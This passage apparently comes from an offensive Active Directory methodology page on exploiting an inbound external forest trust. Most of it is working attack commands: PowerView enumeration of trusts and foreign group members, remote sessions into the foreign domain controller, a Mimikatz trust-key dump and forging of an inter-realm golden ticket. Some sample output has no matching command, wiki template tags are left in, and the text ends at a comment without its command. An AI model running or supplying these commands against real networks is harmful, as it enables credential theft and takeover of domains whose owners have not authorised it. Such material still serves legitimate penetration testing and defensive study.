In this scenario an external domain is trusting you (or both are trusting each other), so you can get some kind of access over it.
First of all, you need to enumerate the trust:
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName

dc.domain.external
# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain : domain.external
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain : domain.external
MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133

# Get name of the principal in the current domain member of the cross-domain group

IsGroup : True
IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
In the previous enumeration it was found that the user crossuser
is inside the External Admins
group who has Admin access inside the DC of the external domain.
If you couldn't find any special access of your user in the other domain, you can still go back to the AD Methodology and try to privesc from an unprivileged user (things like kerberoasting for example):
You can use Powerview functions to enumerate the other domain using the -Domain
param like in:
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
{% content-ref url="./" %} . {% endcontent-ref %}
Using a regular method with the credentials of the users who is has access to the external domain you should be able to access:
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
You could also abuse SID History across a forest trust.
If a user is migrated from one forest to another and SID Filtering is not enabled, it becomes possible to add a SID from the other forest, and this SID will be added to the user's token when authenticating across the trust.
{% hint style="warning" %} As a reminder, you can get the signing key with
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
{% endhint %}
You could sign with the trusted key a TGT impersonating the user of the current domain.
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
